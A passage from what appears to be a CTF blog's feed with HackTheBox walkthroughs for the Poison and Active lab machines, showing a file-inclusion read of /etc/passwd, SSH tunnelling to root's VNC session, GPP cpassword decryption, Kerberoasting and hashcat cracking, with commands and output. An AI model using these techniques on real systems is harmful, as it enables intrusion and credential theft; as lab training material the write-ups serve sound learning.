<div class="line number31 index30 alt2"><code class="bash plain">root devd 319 4 stream </code><code class="bash plain">/var/run/devd</code><code class="bash plain">.pipe</code></div>
<div class="line number32 index31 alt1"><code class="bash plain">root devd 319 5 seqpac </code><code class="bash plain">/var/run/devd</code><code class="bash plain">.seqpacket.pipe</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>I used  <a href="https://www.cl.cam.ac.uk/research/dtg/attarchive/vnc/sshvnc.html">http://www.cl.cam.ac.uk/research/dtg/attarchive/vnc/sshvnc.html</a>  and <a href="https://null-byte.wonderhowto.com/how-to/remotely-control-computers-over-vnc-securely-with-ssh-0132656/">https://null-byte.wonderhowto.com/how-to/remotely-control-computers-over-vnc-securely-with-ssh-0132656/</a> for research.</p>
<p>There is also a secret.zip file on the machine. Let’s start by setting up a tunnel:</p>
<div>
<div id="highlighter_458178" class="syntaxhighlighter  bash">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="bash functions">ssh</code> <code class="bash plain">-L 5901:localhost:5901 -N -f -l charix 10.10.10.84</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>&nbsp;</p>
<p>Using vncviewer, we can get access to the desktop of the root user, which contains the key:</p>
<div>
<div id="highlighter_664253" class="syntaxhighlighter  bash">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
<div class="line number2 index1 alt1">2</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="bash plain">vncviewer -</code><code class="bash functions">passwd</code> <code class="bash plain">secret</code></div>
<div class="line number2 index1 alt1"><code class="bash plain">Use localhost:5901 to get access.</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Bounty - Hackthebox]]></title><description><![CDATA[<!--kg-card-begin: html--><p>Great box over at hackthebox.eu, which learned me a nifty new trick. Lets get started!</p>
<h1>Enumeration</h1>
<p>As always, we start with a full nmap scan:</p>
<p>[bash]</p>
<p>[/bash]</p>
<p>So we have port 80 running a HTTP service and port 22 running SSH.</p>
<p>Browsing to webpage displays the following:</p>
<p>&nbsp;</p>
<p>&nbsp;</p>]]></description><link>https://www.capturetheflags.com/temp-slug-15/</link><guid isPermaLink="false">602ed4610bcf7d0001010783</guid><dc:creator><![CDATA[FlagCapturer]]></dc:creator><pubDate>Thu, 18 Feb 2021 20:56:01 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: html--><p>Great box over at hackthebox.eu, which learned me a nifty new trick. Lets get started!</p>
<h1>Enumeration</h1>
<p>As always, we start with a full nmap scan:</p>
<p>[bash]</p>
<p>[/bash]</p>
<p>So we have port 80 running a HTTP service and port 22 running SSH.</p>
<p>Browsing to webpage displays the following:</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>We can run the following commands: Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php</p>
<p>info.php reveals the following:</p>
<p>[bash]</p>
<p>FreeBSD Poison 11.1-RELEASE FreeBSD 11.1-RELEASE #0 r321309: Fri Jul 21 02:08:28 UTC 2017 root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64</p>
<p>[/bash]</p>
<p>The machine runs FreeBSD 11.1. This might come in handy later. Running listfiles.php shows:</p>
<p>[bash]</p>
<p>Array ( [0] =. [1]; .. [2]; browse.php [3]; index.php; info.php; ini.php; listfiles.php; phpinfo.php; pwdbackup.txt )</p>
<p>[/bash]</p>
<p>That sounds like an interesting file. First lets see what happens when we change the parameter after the file= part:</p>
<p>[bash]</p>
<p>http://10.10.10.84/browse.php?file=/etc/passwd</p>
<p># $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr</p>
<p>$ # root:*:0:0:Charlie &amp;amp;amp;amp;amp;:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root:</p>
<p>daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin</p>
<p>operator:*:2:5:System &amp;amp;amp;amp;amp;:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and</p>
<p>Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin</p>
<p>kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13:Games</p>
<p>pseudo-user:/:/usr/sbin/nologin news:*:8:8:News</p>
<p>Subsystem:/:/usr/sbin/nologin man:*:9:9:Mister Man</p>
<p>Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22:Secure Shell</p>
<p>Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25:Sendmail Submission</p>
<p>User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26:Sendmail</p>
<p>Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53:Bind</p>
<p>Sandbox:/:/usr/sbin/nologin unbound:*:59:59:Unbound DNS</p>
<p>Resolver:/var/unbound:/usr/sbin/nologin proxy:*:62:62:Packet Filter pseudo-</p>
<p>user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64:pflogd privsep</p>
<p>user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65:dhcp</p>
<p>programs:/var/empty:/usr/sbin/nologin uucp:*:66:66:UUCP pseudo-</p>
<p>user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6:Post</p>
<p>Office Owner:/nonexistent:/usr/sbin/nologin auditdistd:*:78:77:Auditdistd</p>
<p>unprivileged user:/var/empty:/usr/sbin/nologin www:*:80:80:World Wide Web</p>
<p>Owner:/nonexistent:/usr/sbin/nologin _ypldap:*:160:160:YP LDAP unprivileged</p>
<p>user:/var/empty:/usr/sbin/nologin hast:*:845:845:HAST unprivileged</p>
<p>user:/var/empty:/usr/sbin/nologin nobody:*:65534:65534:Unprivileged</p>
<p>user:/nonexistent:/usr/sbin/nologin _tss:*:601:601:TrouSerS</p>
<p>user:/var/empty:/usr/sbin/nologin messagebus:*:556:556:D-BUS Daemon</p>
<p>User:/nonexistent:/usr/sbin/nologin avahi:*:558:558:Avahi Daemon</p>
<p>User:/nonexistent:/usr/sbin/nologin cups:*:193:193:Cups</p>
<p>Owner:/nonexistent:/usr/sbin/nologin</p>
<p>charix:*:1001:1001:charix:/home/charix:/bin/csh</p>
<p>[/bash]</p>
<p>So our user is probably charix.</p>
<p>Lets see what is in that pwdbackup.txt file by using: http://10.10.10.84/browse.php?file=pwdbackup.txt</p>
<p>[bash]</p>
<p>This password is secure, it&#8217;s encoded atleast 13 times.. what could go wrong really..</p>
<p>Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=</p>
<p>[/bash]</p>
<p>Looking at the way the key was constructed, it looks like a base64 encoded key. The hint points us to that it is probably encoded 13 times. I&#8217;ve used the Cyberchef from GCHQ to decrypt the thing. It gives us the following key</p>
<p>[bash]</p>
<p>Charix!2#4%6&amp;amp;amp;8(0</p>
<p>[/bash]</p>
<p>The only service we&#8217;ve seen so far is the SSH service.<br>
Exploitation</p>
<p>ssh 10.10.10.84 -l charix</p>
<p>Password: Charix!2#4%6&amp;8(0</p>
<p>And we&#8217;re logged in.<br>
Privilege Escalation</p>
<p>After running LinEnum, I noticed that a VNC service is running as root. To further explore this. Running LinEnum, I see that root is running VNC on 5901 and 5801, as well as sshd (which I already used to get access to the box). So, I probably need to setup a SSH tunnel to this machine and use VNC viewer to get access to the VNC-sessions on the Poisoin host.</p>
<p>I do the following:</p>
<p>[bash]</p>
<p>charix@Poison:~ % sockstat -l<br>
USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS<br>
www httpd 713 3 tcp6 *:80 *:*<br>
www httpd 713 4 tcp4 *:80 *:*<br>
www httpd 712 3 tcp6 *:80 *:*<br>
www httpd 712 4 tcp4 *:80 *:*<br>
www httpd 711 3 tcp6 *:80 *:*<br>
www httpd 711 4 tcp4 *:80 *:*<br>
root sendmail 642 3 tcp4 127.0.0.1:25 *:*<br>
www httpd 641 3 tcp6 *:80 *:*<br>
www httpd 641 4 tcp4 *:80 *:*<br>
www httpd 640 3 tcp6 *:80 *:*<br>
www httpd 640 4 tcp4 *:80 *:*<br>
www httpd 639 3 tcp6 *:80 *:*<br>
www httpd 639 4 tcp4 *:80 *:*<br>
www httpd 638 3 tcp6 *:80 *:*<br>
www httpd 638 4 tcp4 *:80 *:*<br>
www httpd 637 3 tcp6 *:80 *:*<br>
www httpd 637 4 tcp4 *:80 *:*<br>
root httpd 625 3 tcp6 *:80 *:*<br>
root httpd 625 4 tcp4 *:80 *:*<br>
root sshd 620 3 tcp6 *:22 *:*<br>
root sshd 620 4 tcp4 *:22 *:*<br>
root Xvnc 529 0 stream /tmp/.X11-unix/X1<br>
root Xvnc 529 1 tcp4 127.0.0.1:5901 *:*<br>
root Xvnc 529 3 tcp4 127.0.0.1:5801 *:*<br>
root syslogd 390 4 dgram /var/run/log<br>
root syslogd 390 5 dgram /var/run/logpriv<br>
root syslogd 390 6 udp6 *:514 *:*<br>
root syslogd 390 7 udp4 *:514 *:*<br>
root devd 319 4 stream /var/run/devd.pipe<br>
root devd 319 5 seqpac /var/run/devd.seqpacket.pipe</p>
<p>[/bash]</p>
<p>I used http://www.cl.cam.ac.uk/research/dtg/attarchive/vnc/sshvnc.html and https://null-byte.wonderhowto.com/how-to/remotely-control-computers-over-vnc-securely-with-ssh-0132656/ for research.</p>
<p>There is also a secret.zip file on the machine. Let&#8217;s start by setting up a tunnel:</p>
<p>[bash]</p>
<p>ssh -L 5901:localhost:5901 -N -f -l charix 10.10.10.84</p>
<p>[/bash]</p>
<p>Using vncviewer, we can get access to the desktop of the root user, which contains the key:</p>
<p>[bash]</p>
<p>vncviewer -passwd secret<br>
Use localhost:5901 to get access.<br>
[/bash]</p>
<!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Active - Hackthebox.eu]]></title><description><![CDATA[<!--kg-card-begin: html--><p>One of the first boxes that I did that actually requires me to attack Active Directory components (hence the name). Really learned a lot of new techniques. Lets jump in!</p>
<h1>Enumeration</h1>
<p>As always, we start with our default nmap scan:</p>
<p>[bash]</p>
<p>nmap -sC -sV -p- -oA initial 10.10.10.</p>]]></description><link>https://www.capturetheflags.com/temp-slug-12/</link><guid isPermaLink="false">602ed4610bcf7d0001010780</guid><category><![CDATA[active]]></category><category><![CDATA[capturetheflag]]></category><category><![CDATA[ctf]]></category><category><![CDATA[information security]]></category><category><![CDATA[walkthrough]]></category><category><![CDATA[writeup]]></category><dc:creator><![CDATA[FlagCapturer]]></dc:creator><pubDate>Thu, 18 Feb 2021 20:56:01 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: html--><p>One of the first boxes that I did that actually requires me to attack Active Directory components (hence the name). Really learned a lot of new techniques. Lets jump in!</p>
<h1>Enumeration</h1>
<p>As always, we start with our default nmap scan:</p>
<p>[bash]</p>
<p>nmap -sC -sV -p- -oA initial 10.10.10.100<br>
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-02 18:13 UTC<br>
PORT STATE SERVICE VERSION<br>
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)<br>
| dns-nsid:<br>
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)<br>
88/tcp open tcpwrapped<br>
135/tcp open msrpc Microsoft Windows RPC<br>
139/tcp open netbios-ssn Microsoft Windows netbios-ssn<br>
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)<br>
445/tcp open microsoft-ds?<br>
464/tcp open tcpwrapped<br>
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0<br>
636/tcp open tcpwrapped<br>
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)<br>
3269/tcp open tcpwrapped<br>
5722/tcp open msrpc Microsoft Windows RPC<br>
9389/tcp open mc-nmf .NET Message Framing<br>
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>
|_http-server-header: Microsoft-HTTPAPI/2.0<br>
|_http-title: Not Found<br>
49152/tcp open msrpc Microsoft Windows RPC<br>
49153/tcp open msrpc Microsoft Windows RPC<br>
49154/tcp open msrpc Microsoft Windows RPC<br>
49155/tcp open msrpc Microsoft Windows RPC<br>
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0<br>
49158/tcp open msrpc Microsoft Windows RPC<br>
49169/tcp open msrpc Microsoft Windows RPC<br>
49172/tcp open msrpc Microsoft Windows RPC<br>
49182/tcp open msrpc Microsoft Windows RPC<br>
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows</p>
<p>Host script results:<br>
|_clock-skew: mean: -1m18s, deviation: 0s, median: -1m18s<br>
| smb2-security-mode:<br>
| 2.02:<br>
|_ Message signing enabled and required<br>
| smb2-time:<br>
| date: 2018-08-02 18:13:42<br>
|_ start_date: 2018-08-02 09:21:01</p>
<p>[/bash]</p>
<p>Wow, thats a lot of services running. Lets see, what do we have:</p>
<ul>
<li>DNS on port 53</li>
<li>LDAP on port 389/3268 (servicing the active.htb domain)</li>
<li>Something on port 445 (I suspect SMB)</li>
<li>Some HTTP services on port 593/47001</li>
<li>Lots of Remote Procedure Calls</li>
</ul>
<p>I first focused on the HTTP services, using nikto and gobuster. This did not give me any (usable) results. So I decided to look into port 445, hoping for SMB. I fired up the SMB scanner from Metasploit, to see what we could get:</p>
<p>[bash]</p>
<p>msf auxiliary(scanner/smb/smb2) &gt; info</p>
<p>Name: SMB 2.0 Protocol Detection<br>
Module: auxiliary/scanner/smb/smb2<br>
License: Metasploit Framework License (BSD)<br>
Rank: Normal</p>
<p>Provided by:<br>
hdm &lt;x@hdm.io&gt;</p>
<p>Basic options:<br>
Name Current Setting Required Description<br>
&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8211;<br>
RHOSTS yes The target address range or CIDR identifier<br>
RPORT 445 yes The target port (TCP)<br>
THREADS 1 yes The number of concurrent threads</p>
<p>Description:<br>
Detect systems that support the SMB 2.0 protocol</p>
<p>msf auxiliary(scanner/smb/smb2) &gt; set RHOSTS 10.10.10.100<br>
RHOSTS =&gt; 10.10.10.100<br>
msf auxiliary(scanner/smb/smb2) &gt; run</p>
<p>[+] 10.10.10.100:445 &#8211; 10.10.10.100 supports SMB 2 [dialect 255.2] and has been online for 9 hours<br>
[*] Scanned 1 of 1 hosts (100% complete)<br>
[*] Auxiliary module execution completed</p>
<p>[/bash]</p>
<p>Yep, its Samba alright. Version 2. So that rules out EternalBlue, like at the <a href="https://www.capturetheflags.com/2018/07/04/blue-hackthebox-eu/">Blue machine I posted about before</a>.</p>
<p>I tried enum4linux to get more info, but ended up with all kinds of error messages. I switched to <a href="https://github.com/m8r0wn/nullinux">nullinux</a>, which did give me some interesting results</p>
<p>[bash]</p>
<p>python nullinux.py -all 10.10.10.100</p>
<p>Starting nullinux v5.3.0 | 08-03-2018 09:53</p>
<p>[*] Enumerating Shares for: 10.10.10.100<br>
Shares Comments<br>
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br>
\\10.10.10.100\ADMIN$ Remote Admin<br>
\\10.10.10.100\C$ Default share<br>
\\10.10.10.100\IPC$<br>
\\10.10.10.100\NETLOGON Logon server share<br>
\\10.10.10.100\Replication<br>
\\10.10.10.100\SYSVOL Logon server share<br>
\\10.10.10.100\Users</p>
<p>[*] Enumerating: \\10.10.10.100\Replication<br>
. D 0 Sat Jul 21 10:37:44 2018<br>
.. D 0 Sat Jul 21 10:37:44 2018<br>
active.htb D 0 Sat Jul 21 10:37:44 2018</p>
<p>[*] Enumerating Domain Information for: 10.10.10.100<br>
[-] Could not attain Domain SID</p>
<p>[*] Enumerating querydispinfo for: 10.10.10.100</p>
<p>[*] Enumerating enumdomusers for: 10.10.10.100</p>
<p>[*] Enumerating LSA for: 10.10.10.100</p>
<p>[*] Performing RID Cycling for: 10.10.10.100<br>
[-] RID Failed: Could not attain Domain SID</p>
<p>[*] Testing 10.10.10.100 for Known Users</p>
<p>[*] Enumerating Group Memberships for: 10.10.10.100</p>
<p>[-] No valid users or groups detected</p>
<p>[/bash]</p>
<p>We have some shares! Awesome. I used <a href="https://www.cyberciti.biz/tips/browse-a-samba-or-ms-windows-share-in-nautilus.html">Nautilus</a> (the default filebrowser in Kali) to see if I can access these shares. It seems that I can anonymously access the users share. I find our user there: SVC_TGS. Browsing the the desktop gives us the userkey.</p>
<h1>Exploitation</h1>
<p>While browsing the shares, it seems that I can anonymously access the replication share as well. After browsing for some time, I find a file called groups.xml. While looking into this file, I notice something interesting:</p>
<p>[bash]</p>
<p>&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;<br>
&lt;Groups clsid=&quot;{3125E937-EB16-4b4c-9934-544FC6D24D26}&quot;&gt;&lt;User clsid=&quot;{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}&quot; name=&quot;active.htb\SVC_TGS&quot; image=&quot;2&quot; changed=&quot;2018-07-18 20:46:06&quot; uid=&quot;{EF57DA28-5F69-4530-A59E-AAB58578219D}&quot;&gt;&lt;Properties action=&quot;U&quot; newName=&quot;&quot; fullName=&quot;&quot; description=&quot;&quot; cpassword=&quot;edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ&quot; changeLogon=&quot;0&quot; noChange=&quot;1&quot; neverExpires=&quot;1&quot; acctDisabled=&quot;0&quot; userName=&quot;active.htb\SVC_TGS&quot;/&gt;&lt;/User&gt;<br>
&lt;/Groups&gt;</p>
<p>[/bash]</p>
<p>I&#8217;ve never seen this kind of file before, but am immediately interested in the cpassword entry. It seems that cpassword is the result of a bad implementation of password management by Microsoft, which was fixed with a patch way back. However, this patch only prevents you from creating new policies and does not remove the old ones. I found a great explanation on the topic <a href="https://pentestlab.blog/tag/cpassword/">here</a> and <a href="https://adsecurity.org/?p=2288">here</a>. ADsecurity.org is an amazing site on AD-security! It seems that there are multiple tools out there for decrypting this kind of password. I used <a href="https://tools.kali.org/password-attacks/gpp-decrypt">ggp-decrypt</a> and <a href="https://github.com/leonteale/pentestpackage">gppredecrypt.py</a>, both give the same result.</p>
<p>[bash]</p>
<p>python Gpprefdecrypt.py edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ</p>
<p>GPPstillStandingStrong2k18</p>
<p>[/bash]</p>
<p>We have the password! Nice. But where to use it&#8230;</p>
<h1>Privilege Escalation</h1>
<p>Looking back at the initial nmap scan, I do see some Kerberos in there as well. This made me thing of <a href="https://www.blackhillsinfosec.com/a-toast-to-kerberoast/">Kerberoasting</a>. Lets see what we can find on this. I fire up Metasploit again:</p>
<p>[bash]</p>
<p>msf auxiliary(gather/kerberos_enumusers) &gt; info</p>
<p>Name: Kerberos Domain User Enumeration<br>
Module: auxiliary/gather/kerberos_enumusers<br>
License: Metasploit Framework License (BSD)<br>
Rank: Normal</p>
<p>Provided by:<br>
Matt Byrne &lt;attackdebris@gmail.com&gt;</p>
<p>Basic options:<br>
Name Current Setting Required Description<br>
&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8211;<br>
DOMAIN active.htb yes The Domain Eg: demo.local<br>
RHOST 10.10.10.100 yes The target address<br>
RPORT 88 yes The target port<br>
Timeout 10 yes The TCP timeout to establish connection and read data<br>
USER_FILE /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt yes Files containing usernames, one per line</p>
<p>Description:<br>
This module will enumerate valid Domain Users via Kerberos from an<br>
unauthenticated perspective. It utilizes the different responses<br>
returned by the service for valid and invalid users.</p>
<p>References:<br>
CVE: Not available<br>
https://nmap.org/nsedoc/scripts/krb5-enum-users.html</p>
<p>&amp;nbsp;</p>
<p>msf auxiliary(gather/kerberos_enumusers) &gt; run</p>
<p>[*] Validating options&#8230;<br>
[*] Using domain: ACTIVE.HTB&#8230;<br>
[*] 10.10.10.100:88 &#8211; Testing User: &quot;root&quot;&#8230;<br>
[*] 10.10.10.100:88 &#8211; KDC_ERR_C_PRINCIPAL_UNKNOWN &#8211; Client not found in Kerberos database<br>
[*] 10.10.10.100:88 &#8211; User: &quot;root&quot; does not exist<br>
[*] 10.10.10.100:88 &#8211; Testing User: &quot;admin&quot;&#8230;<br>
[*] 10.10.10.100:88 &#8211; KDC_ERR_C_PRINCIPAL_UNKNOWN &#8211; Client not found in Kerberos database<br>
[*] 10.10.10.100:88 &#8211; User: &quot;admin&quot; does not exist<br>
[*] 10.10.10.100:88 &#8211; Testing User: &quot;test&quot;&#8230;<br>
[*] 10.10.10.100:88 &#8211; KDC_ERR_C_PRINCIPAL_UNKNOWN &#8211; Client not found in Kerberos database<br>
[*] 10.10.10.100:88 &#8211; User: &quot;test&quot; does not exist<br>
[*] 10.10.10.100:88 &#8211; Testing User: &quot;guest&quot;&#8230;<br>
[*] 10.10.10.100:88 &#8211; KDC_ERR_CLIENT_REVOKED &#8211; Clients credentials have been revoked<br>
[-] 10.10.10.100:88 &#8211; User: &quot;guest&quot; account disabled or locked out<br>
[*] 10.10.10.100:88 &#8211; Testing User: &quot;info&quot;&#8230;<br>
[*] 10.10.10.100:88 &#8211; KDC_ERR_C_PRINCIPAL_UNKNOWN &#8211; Client not found in Kerberos database<br>
[*] 10.10.10.100:88 &#8211; User: &quot;info&quot; does not exist<br>
[*] 10.10.10.100:88 &#8211; Testing User: &quot;adm&quot;&#8230;<br>
[*] 10.10.10.100:88 &#8211; KDC_ERR_C_PRINCIPAL_UNKNOWN &#8211; Client not found in Kerberos database<br>
[*] 10.10.10.100:88 &#8211; User: &quot;adm&quot; does not exist<br>
[*] 10.10.10.100:88 &#8211; Testing User: &quot;mysql&quot;&#8230;<br>
[*] 10.10.10.100:88 &#8211; KDC_ERR_C_PRINCIPAL_UNKNOWN &#8211; Client not found in Kerberos database<br>
[*] 10.10.10.100:88 &#8211; User: &quot;mysql&quot; does not exist<br>
[*] 10.10.10.100:88 &#8211; Testing User: &quot;user&quot;&#8230;<br>
[*] 10.10.10.100:88 &#8211; KDC_ERR_C_PRINCIPAL_UNKNOWN &#8211; Client not found in Kerberos database<br>
[*] 10.10.10.100:88 &#8211; User: &quot;user&quot; does not exist<br>
[*] 10.10.10.100:88 &#8211; Testing User: &quot;administrator&quot;&#8230;<br>
[*] 10.10.10.100:88 &#8211; KDC_ERR_PREAUTH_REQUIRED &#8211; Additional pre-authentication required<br>
[+] 10.10.10.100:88 &#8211; User: &quot;administrator&quot; is present</p>
<p>[/bash]</p>
<p>So there is an Administrator account. I then realized that I could have used <a href="https://github.com/CoreSecurity/impacket">impacket</a> all this time. Lets see if we can get some hashes for the administrator user. I use the password cracked from cpassword to authenticate to the domain:</p>
<p>[bash]</p>
<p>python GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS<br>
Impacket v0.9.18-dev &#8211; Copyright 2002-2018 Core Security Technologies</p>
<p>Password:<br>
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon<br>
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br>
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 19:06:40 2018-07-30 17:17:40</p>
<p>$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$7a5631b150c67e6c40a4eaae2e600139$e0e88d46194f9f78d2c664442ccefe04b76b6e813314d5f7d36b8ac4a873015b556ca98117725a91583</p>
<p>[/bash]</p>
<p>We have the hash.  Time to fire up hashcat.</p>
<p>[bash]</p>
<p>hashcat -m 13100 -a 0 administrator_hash.txt /usr/share/wordlists/rockyou.txt &#8211;force<br>
hashcat (v4.1.0) starting&#8230;</p>
<p>OpenCL Platform #1: The pocl project<br>
====================================<br>
* Device #1: pthread-Intel Xeon E312xx (Sandy Bridge), 2048/5931 MB allocatable, 8MCU</p>
<p>Hashes: 1 digests; 1 unique digests, 1 unique salts<br>
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates<br>
Rules: 1</p>
<p>Applicable optimizers:<br>
* Zero-Byte<br>
* Not-Iterated<br>
* Single-Hash<br>
* Single-Salt</p>
<p>Minimum password length supported by kernel: 0<br>
Maximum password length supported by kernel: 256</p>
<p>Dictionary cache built:<br>
* Filename..: /usr/share/wordlists/rockyou.txt<br>
* Passwords.: 14344392<br>
* Bytes&#8230;..: 139921507<br>
* Keyspace..: 14344385<br>
* Runtime&#8230;: 5 secs</p>
<p>Session&#8230;&#8230;&#8230;.: hashcat<br>
Status&#8230;&#8230;&#8230;..: Running<br>
Hash.Type&#8230;&#8230;..: Kerberos 5 TGS-REP etype 23<br>
Hash.Target&#8230;&#8230;: $krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~4&#8230;0a76cb<br>
Time.Started&#8230;..: Fri Aug 3 10:38:17 2018 (29 secs)<br>
Time.Estimated&#8230;: Fri Aug 3 10:39:14 2018 (28 secs)<br>
Guess.Base&#8230;&#8230;.: File (/usr/share/wordlists/rockyou.txt)<br>
Guess.Queue&#8230;&#8230;: 1/1 (100.00%)<br>
Speed.Dev.#1&#8230;..: 254.1 kH/s (8.86ms) @ Accel:16 Loops:1 Thr:64 Vec:8<br>
Recovered&#8230;&#8230;..: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts<br>
Progress&#8230;&#8230;&#8230;: 7225344/14344385 (50.37%)<br>
Rejected&#8230;&#8230;&#8230;: 0/7225344 (0.00%)<br>
Restore.Point&#8230;.: 7225344/14344385 (50.37%)<br>
Candidates.#1&#8230;.: jackrayado -&gt; jabo03<br>
HWMon.Dev.#1&#8230;..: N/A</p>
